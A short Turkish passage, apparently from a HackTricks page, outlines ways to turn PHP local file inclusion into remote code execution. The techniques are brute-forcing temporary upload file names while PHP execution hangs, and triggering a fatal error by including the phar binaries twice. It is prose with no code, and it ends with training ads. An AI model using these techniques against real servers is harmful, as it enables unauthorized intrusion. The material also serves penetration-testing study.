LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Sonsuz Bekleme + Brute Force Üzerinden

Eğer LFI'yi geçici dosyalar yüklemek için kötüye kullanabiliyorsanız ve sunucunun PHP yürütmesini dondurmasını sağlayabiliyorsanız, o zaman geçici dosyayı bulmak için saatlerce dosya adlarını brute force yapabilirsiniz:

LFI2RCE via Eternal waiting

Fatal Hata İçin

Eğer /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar dosyalarından herhangi birini dahil ederseniz. (Bu hatayı fırlatmak için aynı dosyayı 2 kez dahil etmeniz gerekir).

Bunun ne kadar faydalı olduğunu bilmiyorum ama olabilir.
Hatta bir PHP Fatal Hatası oluşturursanız, yüklenen PHP geçici dosyaları silinir.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin